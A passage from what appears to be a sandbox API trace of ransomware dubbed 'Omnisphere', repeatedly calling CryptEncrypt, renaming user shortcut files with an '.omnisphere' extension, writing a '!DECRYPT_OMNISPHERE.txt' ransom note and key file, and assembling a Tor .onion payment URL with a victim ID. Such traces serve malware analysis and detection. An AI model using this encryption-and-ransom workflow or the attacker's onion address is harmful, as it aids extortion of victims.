hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.011] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.012] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.013] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.013] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.013] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.013] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.013] CryptDestroyKey (hKey=0x16396a8) returned 1 [0147.013] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0147.013] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x476, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0147.013] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0147.014] GetProcessHeap () returned 0x1600000 [0147.014] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ea) returned 0x172e1a0 [0147.014] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk.omnisphere")) returned 1 [0147.018] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk.omnisphere.id" [0147.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\command prompt.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.020] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0147.021] CloseHandle (hObject=0x3b4) returned 1 [0147.022] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0147.023] CloseHandle (hObject=0x388) returned 1 [0147.023] SetEndOfFile (hFile=0x3c0) returned 1 [0147.024] FlushFileBuffers (hFile=0x3c0) returned 1 [0147.032] CloseHandle (hObject=0x3c0) returned 1 [0147.032] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned 1 [0147.032] GetProcessHeap () returned 0x1600000 [0147.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172e498 [0147.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0147.033] GetProcessHeap () returned 0x1600000 [0147.033] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd8e8 [0147.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd8e8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0147.033] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0147.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.033] GetProcessHeap () returned 0x1600000 [0147.033] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726b98 [0147.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726b98, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0147.033] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0147.033] GetProcessHeap () returned 0x1600000 [0147.033] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x1695e28 [0147.033] PathCombineW (in: pszDest=0x1695e28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" [0147.033] GetProcessHeap () returned 0x1600000 [0147.033] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171d9a8 [0147.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.035] WriteFile (in: hFile=0x3c0, lpBuffer=0x171d9a8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171d9a8*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0147.037] CloseHandle (hObject=0x3c0) returned 1 [0147.039] GetProcessHeap () returned 0x1600000 [0147.039] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172e498 | out: hHeap=0x1600000) returned 1 [0147.039] GetProcessHeap () returned 0x1600000 [0147.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x1729ad0 [0147.039] PathCombineW (in: pszDest=0x1729ad0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" [0147.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.041] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0147.043] CloseHandle (hObject=0x3c0) returned 1 [0147.044] GetProcessHeap () returned 0x1600000 [0147.045] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1729ad0 | out: hHeap=0x1600000) returned 1 [0147.045] GetProcessHeap () returned 0x1600000 [0147.045] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172a210 | out: hHeap=0x1600000) returned 1 [0147.045] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14f, dwReserved0=0x0, dwReserved1=0xbf, cFileName="computer.lnk", cAlternateFileName="")) returned 1 [0147.045] GetProcessHeap () returned 0x1600000 [0147.045] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x1625a28 [0147.045] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="computer.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" [0147.045] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0147.045] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.046] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=335) returned 1 [0147.046] GetTickCount () returned 0x1164964 [0147.046] GetTickCount () returned 0x1164964 [0147.046] GetTickCount () returned 0x1164964 [0147.046] GetTickCount () returned 0x1164964 [0147.046] GetTickCount () returned 0x1164964 [0147.046] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.047] GetTickCount () returned 0x1164964 [0147.048] GetTickCount () returned 0x1164964 [0147.048] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x16683d8) returned 1 [0147.048] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x16396a8) returned 1 [0147.048] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0147.049] CryptDestroyKey (hKey=0x16396a8) returned 1 [0147.049] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0147.049] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14f, lpName=0x0) returned 0x388 [0147.049] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14f) returned 0x1480000 [0147.049] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x16688a0) returned 1 [0147.050] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16396a8) returned 1 [0147.050] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0147.050] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0147.050] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.050] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.050] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.050] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.050] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.050] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, 